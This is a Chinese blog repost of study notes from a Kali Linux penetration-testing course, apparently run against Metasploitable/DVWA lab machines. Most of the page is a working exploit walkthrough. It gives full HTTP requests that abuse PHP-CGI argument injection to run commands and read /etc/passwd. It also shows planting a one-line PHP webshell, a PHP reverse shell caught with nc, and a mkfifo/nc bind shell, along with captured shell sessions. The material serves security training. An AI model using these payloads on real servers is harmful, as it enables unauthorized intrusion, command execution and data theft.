欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

程序员文章站 2022-07-15 15:56:19
...

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 手动漏洞挖掘的原则
2. 漏洞的本质
3. 身份认证漏洞
    3-1. 针对身份认证
    3-2. 会话 SessionID
    3-3. 密码找回时的漏洞
4. 默认安装漏洞
    4-1. phpMyAdminsetup
        4-1-1. 测试 DVWA 的 phpMyAdmin 漏洞
        4-1-2. 写入简单 webshell
        4-1-3. PHP 反弹 shell
    4-2. Ubuntu Debian 默认安装 PHP5-cgi
        4-2-1. 测试漏洞
        4-2-2. 服务器打开侦听端口

手动漏洞挖掘的原则


  • 所有变量

  • 所有头

    Cookie的变量

  • 逐个变量删除

漏洞的本质


  • 数据与指令的混淆
  • 对用户输入信息过滤不严判断失误,误将指令当数据

身份认证漏洞


针对身份认证

  1. 使用常用弱口令/基于字典的密码暴力**
  2. 测试是否锁定账号
  3. 测试基于手机号的用户名**,可以在站内论坛收集用户信息
  4. 查看错误秘密提升信息,可以判断用户名或者密码错误
  5. 密码嗅探工具可以直接获取密码

会话 SessionID

  1. Xss / cookie importer
  2. SessionID in URL
  3. 使用嗅探工具.
  4. 测试 SessionID 是否是长期不变的
  5. 破译 SessionID 生成算法
    • Sequencer
    • 私有算法
    • 预判下一次登录时生成的 SessionID
    • 登出后返回测试

密码找回时的漏洞

  1. 在 URL 中存在密码的散列值,可以直接进行密码设置

默认安装漏洞


phpMyAdmin/setup

测试 DVWA 的 phpMyAdmin 漏洞

  1. Burpsuite 测试命令

    POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    Host: 192.168.20.10
    
    <?php
    passthru('id');
    die(); #dir()终止后续的显示
    ?>
    

    Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

  2. 查看权限

    POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    Host: 192.168.20.10
    Content-Length: 64
    
    <?php
    passthru('id');
    passthru('cat /etc/passwd');
    die();
    ?>
    
  3. 查看可以使用的命令

    POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    Host: 192.168.20.10
    Content-Length: 114
    
    <?php
    passthru('id');
    passthru('cat /etc/passwd');
    passthru('ls');
    passthru('reboot'); #非管理员权限无法重启
    die();
    ?>
    
  4. 测试写入权限

    POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    Host: 192.168.20.10
    Content-Length: 114
    
    <?php
    passthru('id');
    passthru('echo "123456789" > a.txt');
    passthru('cat a.txt');
    passthru('ls');
    die();
    ?>
    

写入简单 webshell

  1. 简单网页木马

    <?php
    \$cmd = \$_GET["cmd"];
    system(\$cmd);
    ?>
    
  2. 上传木马

    POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    Host: 192.168.20.10
    Content-Length: 133
    
    <?php
    passthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/3.php');
    passthru('cat /var/www/3.php');
    die();
    ?>
    
  3. 验证此简单木马

    Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

    Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

    Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

PHP 反弹 shell

  1. 获取 webshell

    aaa@qq.com:~# cp /usr/share/webshells/php/php-reverse-shell.php /root/Desktop/test.php
    
  2. 修改要反弹到的主机IP

    Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

  3. 通过 POST 方法直接将文本内容发给目标服务器

    Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

  4. 开始监听反弹的端口

    aaa@qq.com:~# nc -nvvlp 1234
    listening on [any] 1234 ...
    
  5. BurpSuite 发送请求,执行木马并反弹

    Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

  6. 查看 nc 的监听情况

    aaa@qq.com:~# nc -nvvlp 1234
    listening on [any] 1234 ...
    connect to [10.10.10.131] from (UNKNOWN) [10.10.10.132] 43856
    Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
     04:28:00 up  2:57,  2 users,  load average: 0.03, 0.01, 0.00
    USER     TTY      FROM              aaa@qq.com   IDLE   JCPU   PCPU WHAT
    msfadmin tty1     -                03Mar18  1:48   0.01s  0.00s /bin/login -- 
    root     pts/0    :0.0             03Mar18 17days  0.00s  0.00s -bash
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    sh: no job control in this shell
    sh-3.2$ 
    
  7. 使用 nc 直接进行操作

    sh-3.2$ pwd
    /
    sh-3.2$ cd home
    sh-3.2$ ls
    ftp
    msfadmin
    service
    user
    sh-3.2$ pwd
    /home
    sh-3.2$ netstat -tulnp   
    sh-3.2$ which ifconfig
    sh-3.2$ whereis ifconfig                                          
    ifconfig: /sbin/ifconfig /usr/share/man/man8/ifconfig.8.gz
    sh-3.2$ /sbin/ifconfig
    eth0      Link encap:Ethernet  HWaddr 00:0c:29:d0:ab:2c  
              inet addr:10.10.10.132  Bcast:10.10.10.255  Mask:255.255.255.0
              inet6 addr: fe80::20c:29ff:fed0:ab2c/64 Scope:Link
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              RX packets:3232 errors:0 dropped:0 overruns:0 frame:0
              TX packets:1065 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000 
              RX bytes:301079 (294.0 KB)  TX bytes:278971 (272.4 KB)
              Base address:0x2000 Memory:fd5c0000-fd5e0000 
    sh-3.2$ 
    

Ubuntu / Debian 默认安装 PHP5-cgi

可直接访问 /cgi-bin/php5 和 /cgi-bin/php (爬不出来的目录)

测试漏洞

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 123
Content-Length: 86

<?php
passthru('id');
echo exec('pwd');
echo system('cat /etc/passwd');
die();
?>

服务器打开侦听端口

  1. 服务器打开端口

    POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
    Host: 123
    Content-Length: 86
    
    <?php
    system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');
    die();
    ?>
    

    Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

  2. kali 验证 shell

    aaa@qq.com:~# nc 10.10.10.132 4444
    ls
    php
    php5
    pwd
    /usr/lib/cgi-bin
    ls /var/www
    3.php
    dav
    dvwa
    index.php
    mutillidae
    phpMyAdmin
    phpinfo.php
    test
    tikiwiki
    tikiwiki-old
    twiki
    
  3. kali 端口 nc

    aaa@qq.com:~# nc 10.10.10.132 4444
    ls /var/www
    3.php
    dav
    dvwa
    index.php
    mutillidae
    phpMyAdmin
    phpinfo.php
    test
    tikiwiki
    tikiwiki-old
    twiki
    exit
    exit
    aaa@qq.com:~# 
    
  4. BurpSuite 上显示此次访问结束

    Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

相关标签: kali-linux